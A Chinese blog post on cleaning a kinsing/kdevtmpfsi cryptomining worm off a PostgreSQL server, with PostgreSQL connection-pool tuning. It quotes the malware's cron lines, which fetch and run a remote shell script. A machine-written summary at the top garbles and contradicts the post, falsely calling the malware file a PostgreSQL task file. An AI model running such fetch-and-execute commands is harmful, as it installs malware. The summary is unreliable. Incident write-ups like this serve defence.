挖矿僵尸网络蠕虫病毒kdevtmpfsi处理过程(包含部分pgsql线程池满的情况)

挖矿,僵尸,网络蠕虫,病毒,kdevtmpfsi,处理过程,包含,部分,pgsql,线程,情况 · 浏览次数 : 418

小编点评

**风险:** 1. **删除/tmp/kinsing文件:** 该文件是 PostgreSQL 创建的定时任务文件,删除会导致数据库无法正常运行。 2. **修改 PostgreSQL 配置:** 在 `postgresql.conf` 中设置 `max_connections` 到 150 或 200 会导致数据库连接池过载,影响性能。 3. **开启 debug 模式:** 设置 `client_connection_check_interval` 设置为 0 会导致数据库每隔 1 秒检查客户端连接,可能导致性能下降。 4. **删除 `/tmp/kinsing` 文件:** 该文件是 PostgreSQL 创建的定时任务文件,删除会导致数据库无法正常运行。 5. **修改 `postgresql.conf` 中的 `idle_session_timeout`:** 设置过高的 `idle_session_timeout` 会导致数据库连接池无法回收空闲连接,导致性能下降。 6. **使用 `pg_timeout` 插件:** 虽然 `pg_timeout` 可以实现相同的功能,但它会关闭所有与数据库连接相关的连接,即使它们处于空闲状态。 7. **使用 `crontab` 中的 `kill` 命令:** 使用 `kill` 命令停止进程可能会导致数据库无法正常运行。 8. **设置 `max_connections` 和 `idle_session_timeout` 超值:** 这可能导致数据库连接池无法满足请求,导致性能下降。 9. **设置 `client_connection_check_interval` 为 0:** 这可能导致数据库频繁检查客户端连接,可能导致性能下降。 10. **删除 `/tmp/kinsing` 文件:** 这可能会导致数据库无法正常运行。 **建议:** 1. **定期备份数据库:** 建议定期备份数据库以防止数据丢失。 2. **调整 `max_connections` 和 `idle_session_timeout`:** 设置合理的值以避免连接池过载。 3. **使用 `crontab` 中的中等时间任务:** 在数据库活动休眠期间运行任务可以避免数据库连接池使用过高。 4. **使用 `pg_timeout` 插件:** 如果需要,可以考虑使用 `pg_timeout` 插件来实现相同的功能。

正文

背景:

  • pgsql连接时候报错org.postgresql.util.PSQLException: FATAL: sorry, too many clients already, 意思是client已经把连接池占满了.

  • 使用ps -ef | grep postgres删除几个进程, 进入数据库运行SELECT * FROM pg_stat_activity, 发现大部分都是idle空闲状态的连接

  • 然后修改/var/lib/pgsql/14/data/postgres.conf中的idle_session_timeout为2000(2s), 但是数据库中有警告(如下), 同时navicat中稍等2s后也会报这样异常, 但是再次运行就可以. 因为navicat/dbeaver也是通过连接池方式与数据库进行的连接

    2023-02-20 14:15:37.926 2023-02-20 14:15:37,926 [http-nio-80-exec-1459] WARN com.zaxxer.hikari.pool.PoolBase 173 - HikariPool-98 - Failed to validate connection org.postgresql.jdbc.PgConnection@5e029bbb (This connection has been closed.)

  • 后来只好将idle_session_timeout恢复, 然后尝试扩大线程池大小

  • 但是线程池大小跟服务器配置有关, 默认的大小是100, 在postgres.conf中修改max_connections为200, 重启数据库虽然可以正常使用, 但是在tomcat重启时(war包会依次重新部署), 服务器因为数据库连接池太大, 导致tomcat启动失败(可能是堆栈溢出了).

  • 再次尝试调整到150, 虽然可以正常使用, 但是postgres会占用cpu太高, 300%左右, 只好调整回100.

  • 在pgsql高版本中对此也有一部分配置, 比如每隔几分钟会发现无效连接并进行关闭, 可以减轻部分连接池压力(详情见参考1)

    一、idle_session_timeout参数
    
    用来控制空闲会话连接超时的时间。区别于tcp_keepalives相关参数,
    
    当一个会话连接长时间没有执行SQL或者活动时,会将该会话释放,可以释放缓存避免出现例如OOM等问题
    
    idle_session_timeout:默认值为0,表示禁用,其单位是毫秒;
    
    14版本引入了idle_session_timeout参数,可以在设置该参数,超过设置的时间,数据库会关闭空闲连接。之前的老版本可以使用pg_timeout插件,达到同样的效果。但是同样也会关闭掉我们想保留的正常的空闲连接,所以设置TCP keepalive是更好的解决方案。
    
    二、postgresql的tcp_keepalives相关参数设置可以及时发现无效连接,
    
    如下这样可以在5分钟以内就探测出无效连接
    
    tcp_keepalives_idle = 60 # TCP_KEEPIDLE, in seconds;
    
    tcp_keepalives_interval = 20 # TCP_KEEPINTVL, in seconds;
    
    tcp_keepalives_count = 10 # TCP_KEEPCNT;
    
    三、PG14版本还引入了client_connection_check_interval参数,
    
    每隔一段时间检测client是否离线(断开),如果已经离线,则快速结束掉正在运行的query,,浪费数据库资源。默认是0,单位默认毫秒
    
    官方文档解释:
    
    client_connection_check_interval = 0 # time between checks for client # disconnection while running queries; 0 for never
    

  • 就在调整回100后过了半个小时, 进服务器使用top复查时, 发现了一个还有一个线程占用了388.0%, 名称为kdevtmpfsi, 经过百度发现这是个在20年处爆发的挖矿僵尸网络蠕虫病毒, 但是网上都是说是通过redis未授权或弱口令作为入口进行侵入的, 但是这次遇到的情况却不是因为redis引起的.

    image

  • 第一步肯定是先把进程停了: 使用kill -9 pid停止进程, 发现有个依赖进程kinsing, 那就先使用ps -ef | grep kinsing找到对应的pid停止即可.

  • 如果到这一步停止的话, 过不了多久他会自动重新启动的.

  • 继续挖, 全盘查找这两个文件 find / kinsing发现只有/tmp中有, 我第一次时候直接rm -f /tmp/kinsing删除了这两个文件, 然后就束手无策了, 但是在一小时左右时候kinsing又重新生成了.

  • 通过ll发现kinsing的拥有者是postgres, 这时才确定了是pgsql引起的, 而不是redis引起的

    image

  • 接下来就好说了, 首先删除kinsing文件

  • 使用crontab指令(下方是使用说明)找出postgres创建的定时任务, 删除掉即可.

Usage:
 crontab [options] file
 crontab [options]
 crontab -n [hostname]

Options:
 -u <user>  define user
 -e         edit user's crontab
 -l         list user's crontab
 -r         delete user's crontab
 -i         prompt before deleting
 -n <host>  set host in cluster to run users' crontabs
 -c         get host in cluster to run users' crontabs
 -s         selinux context
 -V         print version and exit
 -x <mask>  enable debugging

-u 定义用户(谁建立的)
-e 修改用户创建的定时任务
-l 列举出用户创建的定时任务
-r 删除用户创建的定时任务


crontab -u postgres -e 使用默认编辑器打开postgres创建的定时任务, 对应的定时任务文件在/var/spool/cron/目录下.

显示:

* * * * * wget -q -O - http://[ip]/pg.sh | sh > /dev/null 2>&1
* * * * * wget -q -O - http://[other ip]/pg.sh | sh > /dev/null 2>&1

删除的话直接使用vim指令dd全部删除, :wq保存退出即可.


哪些有风险呢? 通过寻找解决之法时候发现包括但不限于以下几种

  • redis

  • pgsql

  • php

如何避免呢?

  • 服务器上只开放使用到的服务器

  • 尽量不使用默认端口(如: 3306, 5432, 8848)

  • 不用使用默认密码, 一定修改密码, 且复杂度高一些

  • 安装包使用官方版本


参考1: postgresql空闲连接以及连接有效性检查的参数小结

参考2: Postgres数据库修改最大连接数

参考3: 记一次服务器 linux(centos7)被 postgres 病毒攻击, 挖矿的事故

参考4: 阿里云服务器中挖矿病毒了,名称为 kinsing

参考5: kdevtmpfsi using 100% of CPU?

参考6: 关于linux病毒kinsing kdevtmpfsi 的处理

参考7: Linux服务器kdevtmpfsi挖矿病毒解决方法:治标+治本

参考8: kdevtmpfsi 处理(挖矿病毒清除)

参考9: 威胁快报|Redis RCE导致h2Miner蠕虫新一轮爆发,建议用户及时排查以防事态升级

参考10: linux - kdevtmpfsi using the entire CPU

与挖矿僵尸网络蠕虫病毒kdevtmpfsi处理过程(包含部分pgsql线程池满的情况)相似的内容:

挖矿僵尸网络蠕虫病毒kdevtmpfsi处理过程(包含部分pgsql线程池满的情况)

pgsql连接池没解决呢, 结果kdevtmpfsi挖矿病毒冒出来了!!!

挖矿病毒消灭记

参考:https://blog.csdn.net/qq_59201520/article/details/129816447 接上篇《挖矿病毒消灭记》传送门 项目场景: 叮咚,一条短信打破了安静平和的氛围。 啊?咋又被挖矿了,现在在外面,回头要赶紧把进程关了 问题描述 回到家赶紧打开电脑输入命令行t

nomp矿池源码详解

是一个由Node.js编写的高效、可扩展的加密货币挖矿池,它基于node-stratum-pool模块,包含奖励处理与支付功能以及一个响应式前端网站,提供实时统计和管理中心,本文对该项目的主体架构及相关源码进行了介绍!

重构代码的一些想法

重构代码的一些想法 模块设计 需要明确服务的核心功能 执行时机(被谁驱动) 执行内容 和非核心功能的关系 从模块话的角度看,这三个部分其实都可以独立实现,这样更利于单元测试用例的编写,扎实的单元测试覆盖率大大提高对稳定性的信心。 执行时机一般都是外部驱动,如收到任务、请求甚至内部定时器驱动。 核心功

Go 使用原始套接字捕获网卡流量

Go 使用原始套接字捕获网卡流量 Go 捕获网卡流量使用最多的库为 github.com/google/gopacket,需要依赖 libpcap 导致必须开启 CGO 才能够进行编译。 为了减少对环境的依赖可以使用原始套接字捕获网卡流量,然后使用 gopacket 的协议解析功能,这样就省去了解析

Go 如何对多个网络命令空间中的端口进行监听

Go 如何对多个网络命令空间中的端口进行监听 需求为 对多个命名空间内的端口进行监听和代理。 刚开始对 netns 的理解不够深刻,以为必须存在一个新的线程然后调用 setns(2) 切换过去,如果有新的 netns 那么需要再新建一个线程切换过去使用,这样带来的问题就是线程数量和 netns 的数

模板特化的多维度挖掘

假如我有一个需求,就是如果传入的参数是int类型,我就输出int类型,否则就输出T。很显然,根据模板的基础知识,我们可以这么写 template void f(T) { std::cout << "T\n"; } template <> void f(int) { std::co

数据价值深度挖掘,分析服务上线“探索”能力

近日,华为分析服务6.9.0版本发布,正式上线探索能力。开发者可自由定义与配置分析模型,支持报告实时预览,数据洞察体验更加灵活与便捷。 新上线的探索能力中,有漏斗分析、事件归因、会话路径分析三个高级分析模型。在原有能力的基础上,时效性进一步增强,开发者在完成配置与报告创建后,即能查看具体内容。通过低

4.1 探索LyScript漏洞挖掘插件

在第一章中我们介绍了`x64dbg`这款强大的调试软件,通过该软件逆向工程师们可以手动完成对特定进程的漏洞挖掘及脱壳等操作,虽然`x64dbg`支持内置`Script`脚本执行模块,但脚本引擎通常来说是不够强大的,LyScript 插件的出现填补了这方面的不足,该插件的开发灵感来源于`Immunity`调试器中的`ImmLib`库,因`Immunity`调试器继承自`Ollydbg`导致该调试器无

5.2 基于ROP漏洞挖掘与利用

通常情况下栈溢出可能造成的后果有两种,一类是本地提权另一类则是远程执行任意命令,通常C/C++并没有提供智能化检查用户输入是否合法的功能,同时程序编写人员在编写代码时也很难始终检查栈是否会发生溢出,这就给恶意代码的溢出提供了的条件,利用溢出攻击者可以控制程序的执行流,从而控制程序的执行过程并实施恶意行为,本章内容笔者通过自行编写了一个基于网络的FTP服务器,并特意布置了特定的漏洞,通过本章的学习,